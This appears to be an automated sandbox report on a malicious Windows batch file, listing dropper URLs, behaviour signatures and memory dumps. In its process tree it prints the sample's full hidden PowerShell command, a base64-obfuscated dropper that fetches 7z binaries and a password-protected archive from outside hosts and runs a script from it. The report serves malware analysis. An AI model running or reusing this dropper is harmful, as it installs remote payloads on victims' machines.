Resubmissions
06/05/2026, 17:07
260506-vngazaez6x1006/05/2026, 16:45
260506-t9k1lsay2n1006/05/2026, 16:13
260506-tn8vjses511006/05/2026, 16:10
260506-tmgpnses2110Analysis
- max time kernel
149s - max time network
93s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
06/05/2026, 16:10
General
- Target 262000734.bat
- Size 73KB
- Sample260506-tmgpnses21
- SHA256 0e53eef356fc1bb934099a84344b036edd7507aa0cc5b6add1ed7a3bba088745
Score
10/10
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
exe.dropper
https://filedn.com/lEr8X39QyI3Ff9hN9vGodiR/7z.exe
-
exe.dropper
https://filedn.com/lEr8X39QyI3Ff9hN9vGodiR/7z.dll
-
exe.dropper
https://www.bruta.pl/rdzrpvtc.zip
Signatures
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Downloads MZ/PE file 1 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\262000734.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe""C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"" -WindowStyle Hidden -nop -c ""iex([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(('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ZILPQQSP'.Replace('ZILPQQSP','')))))""2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Downloads MZ/PE file
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_oivuddvg.ear.ps1
memory/4796-13-0x0000000006260000-0x00000000065B7000-memory.dmp
memory/4796-15-0x00000000067E0000-0x000000000682C000-memory.dmp
memory/4796-3-0x0000000005AE0000-0x000000000610A000-memory.dmp
memory/4796-4-0x0000000005A90000-0x0000000005AB2000-memory.dmp
memory/4796-5-0x0000000006180000-0x00000000061E6000-memory.dmp
memory/4796-6-0x00000000061F0000-0x0000000006256000-memory.dmp
memory/4796-1-0x0000000003300000-0x0000000003336000-memory.dmp
memory/4796-0-0x0000000003470000-0x0000000003480000-memory.dmp
memory/4796-2-0x0000000003470000-0x0000000003480000-memory.dmp
memory/4796-16-0x0000000008080000-0x00000000086FA000-memory.dmp
memory/4796-14-0x0000000006730000-0x000000000674E000-memory.dmp
memory/4796-17-0x0000000007860000-0x000000000787A000-memory.dmp
memory/4796-18-0x0000000007A00000-0x0000000007A96000-memory.dmp
memory/4796-19-0x0000000007930000-0x0000000007952000-memory.dmp
memory/4796-20-0x0000000008700000-0x0000000008CA6000-memory.dmp
memory/4796-25-0x0000000003490000-0x0000000003496000-memory.dmp
memory/4796-26-0x00000000058F0000-0x0000000005941000-memory.dmp